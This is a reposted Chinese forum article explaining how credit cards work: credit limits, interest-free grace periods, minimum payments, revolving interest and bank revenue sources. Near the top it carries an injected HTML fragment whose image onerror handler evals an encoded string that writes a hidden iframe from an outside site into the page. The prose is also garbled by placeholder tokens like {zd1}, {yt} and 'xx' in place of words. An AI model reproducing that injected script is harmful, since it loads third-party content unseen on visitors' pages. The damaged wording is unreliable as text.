史上最强信用卡知识讲座(转贴自Mop，非原创)

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

什么是信用卡？
“信用卡”一词，本意是专指这个帖子里介绍的这种金融

产品，可是由于以前国内准信用卡，甚至没有任何信用卡

功能的储蓄卡大行其道，所以真正的信用卡，反而只能冠

以“贷记卡”这种不伦不类的称呼。
真正的信用卡，具有以下特点：不鼓励预存现金，先消费

后还款，享有免息缴款期，可自主分期还款（有{zd1}还款

额），加入VISA,MASTER等国际信用卡组织以便全球通用。

信用卡的消费特点
其实信用卡的消费特点大家早已是再熟悉不过了。拿电信

的产品来举例吧。一般借记卡／储蓄卡就好比“神州行”

，需要预存现金，存多少花多少，没钱就没法打电话；借

记卡没钱也没法提现或刷卡了。
信用卡就像家里的一般固定电话，
不鼓励预存现金（没法先缴一个月话费给电信局），
信用消费（现在装电话一般也不缴保证金），
先消费后还款（七月打的电话费，八月接到帐单再去付）

，
享有免息期（帐单收到了还有一段时间去缴钱）。
固定电话{wy}不能比的就是没有{zd1}还款额。怎么样，其

实信用卡的消费模式我们早已在使用了，可是国内的信用

卡出现太晚太晚了。
说到底，就是你在刷信用卡买东西时，银行“即时”地帮

你付帐，你只要在月底接到帐单后，统一把钱付给银行就

可以了。

不要往信用卡里存钱
信用卡的消费模式上面已经介绍了，如果你当年也积极支

持取消固定电话入网费，所以现在也不要往信用卡里存钱

。
真正的信用卡，里面的存款只可用来抵扣下个月帐单，所

以没有任何利息收入。像招商银行那样的彻底洋化，提取

存款余额还要加收高额手续费，所以银行鼓励你不往卡里

存一分钱，xx动用你的信用额度消费。
不存钱如何消费呢？卡里没有钱，但每次消费都是银行借

你钱，累计{zg}不超过你的信用额度，
比如银行给你六千块的额度，就是你一共可以欠银行六千

块，达到这个值时，就是爆卡之日（不要超过六千，会加

收超限费）
爆卡也不要紧，及时还款，额度就恢复了。
当然额度高会比较方便，月收入越高，工作越稳定，银行

给予的额度就会越高。
目前国内银行很怕坏帐，所以各家银行发额度都很小心。
另外，信用卡都不鼓励预借现金，因此除了从提现额度上

加以限制外，还加收高额收续费，所以从A行提现还B行卡

的帐单，长期下来是亏得很厉害的，偶尔为之还行，长期

来说，只是还更多的钱，给银行打工而已。

免息还款期
一般银行会标榜最短／最长免息还款期。其实是针对单笔

消费来说，每一笔的还款期都不一样。
怎么算呢？其实也很简单，以我自己的卡举例，每个月5号

是结帐日，23号是{zh1}还款日。
最短还款期：4号刷卡，5号银行记帐（一般需要{yt}记帐

）5号晚上出帐单，23号还款，所以这一笔的还款期就是

23-4＝19天
最长还款期：6号刷卡，因为本月帐单已在前{yt}出帐，所

以这一笔的消费只会记在下一个月五号的帐单上，下一个

月23号才还款，所以这一笔是赚到了，我最喜欢6号出去消

费.....
不过，一定要在{zh1}截止日前缴款，不然，后果是惨重的

。银行会加收罚款，详见信用卡章程。

循环利息和循环信用
依央行规定，信用卡每个月{zd1}还款额应为10％，10000块

的帐单，{zd1}只要付1000块就算你信用良好了，其他的，

下个月再还。你可别偷笑，从10000消费发生的那天起，直

到还清的那{yt}，“未还清的部分”每天付万分之五的循

环利息，别小看这个数字，为了循环利息跳楼的韩国人海

了去了。用这个方式还款的人，就是动用了循环信用。
日息万分之五，年息超过18％，赶上xxx了，所以各家

银行纷纷xx。
照理说，动用循环信用的客户对银行贡献{zg}，因为付出

的利息很多。但是银行最不放心的就是这些人，因为国内

银行怕风险，所以并不会善待这些“缴款很吃力”的客户

。像招行，若想提高自己的额度必须做到以下两点：
1.常常将现有的额度用满。
2.做到{dy}条的同时，必须采取“全额还款”（而不是动

用循环信用）
所以，对于吃力又不讨好的事情，我从来不做，每个月控

管自己用量，全部一次还款。

信用卡如何产生收入
有人被银行的高额度或免息期所震惊，认为信用卡几乎是

”公益“事业，其实信用卡是银行在传统产业中利润最丰

厚的一块蛋糕。信用卡业务收入来源于：
1.年费（目前经营理念先进的银行纷纷放弃了这一块，这

是与国际接轨的做法）
2.循环利息（年息18％以上，任何其他业务均无法与之相

提并论）
3.刷卡手续费，前一阵媒体上报道的商家与银行手续费之

争讲的就是这件事，虽然顾客按标价付款，但商家却要付

手续费给xx行，收单行和结算组织（收单行代收），这

是很大的一块蛋糕，之前永乐家电就抱怨银行的费率相当

于他们的毛利，所以一家银行全部客户的贡献加起来是很

恐怖的。